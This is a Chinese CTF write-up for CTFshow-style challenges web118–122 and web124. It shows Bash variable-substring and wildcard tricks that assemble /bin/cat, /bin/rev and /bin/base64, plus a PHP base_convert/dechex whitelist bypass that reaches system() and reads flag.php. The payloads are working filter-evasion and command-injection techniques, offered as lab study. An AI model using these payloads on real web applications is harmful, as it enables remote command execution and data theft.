web118-122&124

web118

开启容器

代码审计

有一个<!-- system($code);-->

1
2
3
4
5
6
7
8
$PWD和${PWD}    表示当前所在的目录	/var/www/html
${#PWD} 13 前面加个#表示当前目录字符串长度
${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3} html 代表从最后面开始向前截取几位(从零开始)
${PWD:3:1} r
${PWD:~3:1} h
${PWD:~A} l 这里的A其实就是表示1
${SHLVL:~A} 1 代表数字1

code=${PATH:~A}${PWD:~A} ????.???
nl ????.???

web119

开启容器

一样的前端

code=${PATH:~A}${PWD:~A} ????.???
nl ????.???

无法成功

1
2
3
4
5
6
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

就是/???/??t ????.???

就是/bin/cat flag.php

罗列可疑代替

  • 0:可以用字符代替;
  • 1:$$代替1。

这次可以用/bin/rev读取,rev命令可以实现文件文本行,或字符串的反序显示。那么需要获取/r字符,或者 v

构造/???/??v:
code=${PWD::$}???${PWD::$}${PWD:$}?? ????.???

输出反序flag

web122

开启容器

代码审计

这次PWD被过滤了,但是HOME可以用了。

这次可以用命令/bin/base64。因为,${RANDOM}可以出现4或5,可以构造/???/?????4。需要多试几次才能拿到flag。

payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

刷了好几次

web124

开启容器

代码审计

绕过
我们想要让他执行命令,如system($cmd)。为了绕过对字符的限制,可以用get或post再次传参,用白名单的字符串作为参数名。

我们需要两个参数,一个传递函数名,一个传递函数参数值。(这里选择_GET,因为长度短,题目中有长度限制)
$_GET[abs]($_GET[acos]);
也就是c=$_GET[abs]($_GET[acos]);&abs=system&acos=ls
黑名单有中括号,可以用大括号{}代替c=$_GET{abs}($_GET{acos});&abs=system&acos=ls

构造_GET。因为白名单的限制,_GET不能直接用,需要构造。
_GET转成十六进制是0x5f474554,由十六进制转为十进制1598506324。

可以利用数学函数,由十进制转成字符。这需要用到两个函数dechex()、hex2bin()。
_GET=hex2bin(dechex(1598506324))

dechex():十进制转十六进制
hex2bin():十六进制转二进制,返回 ASCII 字符

但是第二个函数hex2bin,白名单里没有,不过白名单里有一个base_convert。

base_convert(number,frombase,tobase):可以在任意进制之间转换数字

base_convert('hex2bin',36,10)=>37907361743
base_convert(37907361743,10,36)=>hex2bin

这里base_convert为什么写36进制,是因为数字一共10个,字母(不区分大小写)一共26个,为了能把所有字符都表示进来,就是10+26=36。

所以_GET=base_convert(37907361743,10,36)(dechex(1598506324))

设置一个变量等于_GET,挑一个白名单里最短的pi作为变量名:$pi=base_convert(37907361743,10,36)(dechex(1598506324)),之后引用$pi即可

payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php